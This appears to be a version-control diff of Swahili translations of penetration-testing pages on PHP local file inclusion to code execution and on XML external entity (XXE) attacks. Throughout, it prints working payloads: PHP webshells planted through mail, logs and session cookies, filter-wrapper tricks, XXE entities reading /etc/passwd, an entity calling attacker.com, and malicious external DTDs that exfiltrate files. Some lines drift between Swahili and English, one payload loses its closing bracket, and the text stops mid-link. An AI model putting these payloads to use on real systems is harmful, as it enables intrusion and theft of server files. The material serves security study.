Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa URL encoded na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinatolewa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
Njia nyingine zinazowezekana za log:
```python
/var/log/apache2/access.log
@ -450,9 +496,9 @@ Njia nyingine zinazowezekana za log:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Kupitia Barua Pepe
### Kupitia Barua
**Tuma barua pepe** kwa akaunti ya ndani (user@localhost) yenye payload yako ya PHP kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kuingiza kwenye barua pepe ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
**Tuma barua** kwa akaunti ya ndani (user@localhost) yenye payload yako ya PHP kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kuingiza kwenye barua ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
### Kupitia /proc/\*/fd/\*
@ -476,7 +522,7 @@ Ili kuweka faili kuwa na uwezo wa kusomeka ni bora kuingiza katika metadata ya p
### Kupitia Upakuaji wa Faili ya Zip
Pakua faili ya ZIP inayojumuisha shell ya PHP iliyoshinikizwa na ufikie:
Pakua faili ya ZIP inayojumuisha shell ya PHP iliyoshinikizwa na ufikia:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -492,7 +538,7 @@ Katika PHP, vikao hivi vinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Seti cookie kuwa `<?php system('cat /etc/passwd');?>`
Set the cookie to `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
@ -506,14 +552,14 @@ Ikiwa ssh inafanya kazi angalia ni mtumiaji gani anatumika (/proc/self/status &
### **Via** **vsftpd** _**logs**_
Maktaba za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unapatikana, hatua zifuatazo zinaweza kuzingatiwa:
Marekebisho ya seva ya FTP vsftpd yako katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unapatikana, hatua zifuatazo zinaweza kuzingatiwa:
1. Ingiza payload ya PHP katika uwanja wa jina la mtumiaji wakati wa mchakato wa kuingia.
2. Baada ya kuingiza, tumia LFI kupata maktaba za seva kutoka _**/var/log/vsftpd.log**_.
2. Baada ya kuingiza, tumia LFI kupata marekebisho ya seva kutoka _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
Kama ilivyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, PHP base64 filter inapuuzilia mbali Non-base64. Unaweza kutumia hiyo kupita ukaguzi wa kiendelezi cha faili: ikiwa unatoa base64 inayomalizika na ".php", itapuuzilia mbali "." na kuongezea "php" kwa base64. Hapa kuna mfano wa payload:
Kama ilivyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, PHP base64 filter inapuuzilia mbali Non-base64. Unaweza kutumia hiyo kupita ukaguzi wa kiendelezi cha faili: ikiwa unatoa base64 inayomalizika na ".php", itapuuzilia mbali "." na kuunganisha "php" kwenye base64. Hapa kuna mfano wa payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -521,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Hii [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **php filters kuunda maudhui yasiyo na mipaka** kama matokeo. Hii kwa msingi inamaanisha kwamba unaweza **kuunda msimbo wa php yasiyo na mipaka** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili.
Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **php filters kuunda maudhui yasiyo na mipaka** kama matokeo. Hii kwa msingi inamaanisha kwamba unaweza **kuunda msimbo wa php wa kiholela** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili.
{{#ref}}
lfi2rce-via-php-filters.md
@ -529,7 +575,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio moja,** trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio moja**, trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` iko `Off`. Ikiwa utaweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **session iweze kwako**. Unaweza kutumia hii vibaya kupata RCE:
Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` imewekwa `Off`. Ikiwa utaweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **session iweze kwako**. Unaweza kutumia hii vibaya kupata RCE:
{{#ref}}
via-php_session_upload_progress.md
@ -576,7 +622,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Kupitia phpinfo() (file_uploads = on)
Ikiwa umepata **Local File Inclusion** na faili inayonyesha **phpinfo()** na file_uploads = on unaweza kupata RCE:
Ikiwa umepata **Local File Inclusion** na faili inayonyesha **phpinfo()** ikiwa file_uploads = on unaweza kupata RCE:
{{#ref}}
lfi2rce-via-phpinfo.md
@ -584,7 +630,7 @@ lfi2rce-via-phpinfo.md
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuepuka ukaguzi huo** kwa kutumia **Race Condition** hii:
Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuzidi ukaguzi huo** na **Race Condition** hii:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -592,7 +638,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Kupitia kusubiri milele + bruteforce
Ikiwa unaweza kutumia LFI ili **kupakia faili za muda** na kufanya server **kushindwa** katika utekelezaji wa PHP, unaweza kisha **kufanya brute force majina ya faili kwa masaa** ili kupata faili ya muda:
Ikiwa unaweza kutumia LFI ili **kupakia faili za muda** na kufanya server **isimame** utekelezaji wa PHP, unaweza kisha **kufanya brute force majina ya faili kwa masaa** ili kupata faili ya muda:
{{#ref}}
lfi2rce-via-eternal-waiting.md
@ -611,6 +657,8 @@ _Hata kama unasababisha Kosa la Kifo la PHP, faili za muda za PHP zilizopakiwa z
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai Kutoka Tiketi ya Msaada hadi Siku ya Zero (FreeFlow Core path traversal → kuandika bila mpangilio → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -6,11 +6,11 @@
XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika unaoruhusu matumizi ya lebo zenye majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na mipaka ya lebo zilizowekwa awali. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinaruhusu uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `&lt;` na `&gt;`, ambazo zinahusiana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinawezesha uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `&lt;` na `&gt;`, ambazo zinahusiana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
- **Kufafanua Vipengele vya XML**: XML inaruhusu ufafanuzi wa aina za vipengele, ikielezea jinsi vipengele vinavyopaswa kuundwa na ni maudhui gani yanaweza kuwa nayo, kuanzia aina yoyote ya maudhui hadi vipengele maalum vya watoto.
- **Ufafanuzi wa Aina ya Hati (DTD)**: DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuwa ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopangwa na kuthibitishwa.
- **Vitu vya Kawaida na vya Nje**: XML inasaidia kuunda vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinainua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi waandishi wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Ili kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za waandishi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya mtandao, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, ili kuthibitisha udhaifu.
- **Vitu vya Kawaida na vya Nje**: XML inasaidia kuunda vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi waandishi wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Ili kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za waandishi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya muktadha, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kinachodhibitiwa, ili kuthibitisha udhaifu.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -33,7 +33,7 @@ Katika shambulio hili nitajaribu kuona kama tangazo rahisi la KITU kipya linafan
### Soma faili
Hebu jaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts`
Hebu tujaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts`
Katika kesi hii ya kwanza, angalia kwamba SYSTEM "_**file:///**etc/passwd_" pia itafanya kazi.
```xml
@ -65,10 +65,10 @@ Katika kesi hii ya tatu, angalia tunatangaza `Element stockCheck` kama ANY.
### Orodha ya saraka
Katika programu zinazotegemea **Java**, inaweza kuwa inawezekana **kuorodhesha maudhui ya saraka** kupitia XXE kwa kutumia payload kama (kuomba tu saraka badala ya faili):
Katika programu zinazotegemea **Java**, inaweza kuwa inawezekana **kuorodhesha maudhui ya saraka** kupitia XXE kwa payload kama (kuuliza tu saraka badala ya faili):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
@ -93,7 +93,7 @@ Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva kufikia seva un
**Katika tukio hili tutafanya server iandae DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia server hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.**
Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa ili kuhamasisha data:
Katika DTD mbaya iliyotolewa, mfululizo wa hatua unafanywa ili kuhamasisha data:
### Mfano wa DTD Mbaya:
@ -127,12 +127,12 @@ Hii payload inafafanua kigezo cha XML `%xxe` na kuingiza ndani ya DTD. Wakati in
**Katika kesi hii tutafanya seva ipakie DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni halali tu ikiwa unaweza kuona ujumbe wa makosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuanzishwa kwa kutumia Aina ya Hati ya Nje (DTD) mbaya. Hii inafanywa kupitia hatua zifuatazo:
Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kusababishwa kwa kutumia Aina ya Hati ya Nje (DTD) mbaya. Hii inafanywa kupitia hatua zifuatazo:
1. Kigezo cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
2. Kigezo cha XML kinachoitwa `eval` kinafafanuliwa, kikijumuisha tangazo la dinamik kwa kigezo kingine cha XML kinachoitwa `error`. Kigezo hiki `error`, kinapojaribiwa, kinajaribu kupakia faili isiyopo, kikijumuisha maudhui ya kigezo cha `file` kama jina lake.
3. Kigezo cha `eval` kinaitwa, na kusababisha tangazo la dinamik la kigezo cha `error`.
4. Kuitwa kwa kigezo cha `error` kunasababisha jaribio la kupakia faili isiyopo, na kutoa ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
4. Kuitwa kwa kigezo cha `error` kunasababisha jaribio la kupakia faili isiyopo, na kutoa ujumbe wa kosa unaojumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
DTD mbaya ya nje inaweza kuitwa kwa XML ifuatayo:
```xml
@ -144,15 +144,15 @@ Upon execution, the web server's response should include an error message displa
![](<../images/image (809).png>)
_**Tafadhali notice kwamba DTD ya nje inatuhitaji kujumuisha kiumbe kimoja ndani ya `eval` ya pili, lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_
_**Tafadhali notice kwamba DTD ya nje inaturuhusu kujumuisha entiti moja ndani ya `eval` ya pili, lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_
### **Kosa Kulingana (system DTD)**
Hivyo kuhusu udhaifu wa XXE kipofu wakati **mawasiliano ya nje yamezuiwa** (muunganisho wa nje haupo)?
Kipengele katika spesifikasisi ya lugha ya XML kinaweza **kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa viumbe vilivyotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa kigezo cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
Kipengele katika spesifikesheni ya lugha ya XML kinaweza **kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa entiti zilizotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa entiti ya parameter ya XML, ambayo awali ilitangazwa katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja kiumbe kinachoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD mchanganyiko kama ifuatavyo:
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja entiti inayoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mseto kama ifuatavyo:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -165,13 +165,13 @@ Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/a
%local_dtd;
]>
```
Hatua zilizoelezwa zinafanywa na DTD hii:
The outlined steps are executed by this DTD:
- Mwelekeo wa kitu cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
- Ufafanuzi mpya unafanyika kwa kitu cha XML `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjwa kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`.
- Kwa kutumia kitu cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
- Mwelekeo wa kituo cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
- Ufafanuzi mpya unafanyika kwa kituo cha XML `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjika kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`.
- Kwa kutumia kituo cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
**Mfano wa ulimwengu halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kitu kinachoitwa `ISOamso`
**Real world example:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kituo kinachoitwa `ISOamso`
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -227,7 +227,7 @@ Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office yenye mzi
Mara hati inapofunguliwa, faili ya XML iliyoko katika `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa katika mhariri wa maandiko unaopendelea (kama vim). XML inapaswa kubadilishwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ikianza na ombi la HTTP.
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya mzizi wa XML. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya XML vya mzizi. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.
Hatimaye, faili inaweza kufungiwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory ya "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa:
@ -245,7 +245,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
Mchakato wa kufikia faili ndani ya archive ya PKZIP kupitia protokali ya jar unajumuisha hatua kadhaa:
1. Ombi la HTTP linafanywa kupakua archive ya zip kutoka mahali fulani, kama `https://download.website.com/archive.zip`.
1. Ombi la HTTP linafanywa kupakua archive ya zip kutoka mahali maalum, kama `https://download.website.com/archive.zip`.
2. Jibu la HTTP linaloelezea archive linawekwa kwa muda kwenye mfumo, kawaida katika mahali kama `/tmp/...`.
3. Archive hiyo inachukuliwa ili kufikia maudhui yake.
4. Faili maalum ndani ya archive, `file.zip`, inasomwa.
@ -312,7 +312,7 @@ Then you can try to crack the hash using hashcat
Wakati wa kuunganisha data za mteja katika hati za XML za upande wa seva, kama zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, ukikandamiza mashambulizi ya jadi ya XXE kutokana na vizuizi vya kubadilisha kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` linatoa suluhisho kwa kuruhusu kuingizwa kwa viumbe vya nje ndani ya kipengele chochote cha data cha hati ya XML. Njia hii ni bora hata wakati sehemu tu ya data ndani ya hati ya XML iliyozalishwa na seva inaweza kudhibitiwa.
Ili kutekeleza shambulio la `XInclude`, jina la eneo la `XInclude` lazima litangazwe, na njia ya faili ya kiumbe cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulio kama hilo linaweza kuandaliwa:
Ili kutekeleza shambulio la `XInclude`, jina la nafasi la `XInclude` lazima litangazwe, na njia ya faili ya kiumbe cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulio kama hilo linaweza kuandaliwa:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -320,9 +320,9 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
### SVG - File Upload
Fail zilizopakiwa na watumiaji kwa programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au fomati za faili zinazoshikilia XML zinavyoshughulikiwa. Fomati za kawaida za faili kama hati za ofisi (DOCX) na picha (SVG) zinategemea XML.
Fail zilizopakiwa na watumiaji kwa programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Mifumo ya kawaida ya faili kama hati za ofisi (DOCX) na picha (SVG) inategemea XML.
Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia fomati kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni fomati inayotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa udhaifu wa XXE (XML External Entity).
Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia muundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa XXE (XML External Entity) udhaifu.
Mfano wa exploit kama hiyo umeonyeshwa hapa chini, ambapo picha ya SVG yenye uharibifu inajaribu kusoma faili za mfumo:
```xml
@ -340,7 +340,7 @@ Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-s
**Kumbuka kwamba mstari wa kwanza wa faili iliyosomwa au wa matokeo ya utekelezaji utaonekana NDANI ya picha iliyoundwa. Hivyo unahitaji kuwa na uwezo wa kufikia picha ambayo SVG imeunda.**
### **PDF - Upakiaji wa faili**
### **PDF - Upakuaji wa faili**
Soma chapisho lifuatalo ili **ujifunze jinsi ya kutumia XXE kupakia faili ya PDF**:
@ -398,7 +398,7 @@ Content-Type: application/xml;charset=UTF-8
```
Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## WAF & Ulinzi Bypasses
## WAF & Mipango ya Kulinda
### Base64
```xml
@ -408,7 +408,7 @@ Hii inafanya kazi tu ikiwa seva ya XML inakubali itifaki ya `data://`.
### UTF-7
Unaweza kutumia \[**"Encode Recipe**" ya cyberchef hapa ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kuwa UTF-7.
Unaweza kutumia \[**"Encode Recipe**" ya cyberchef hapa]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 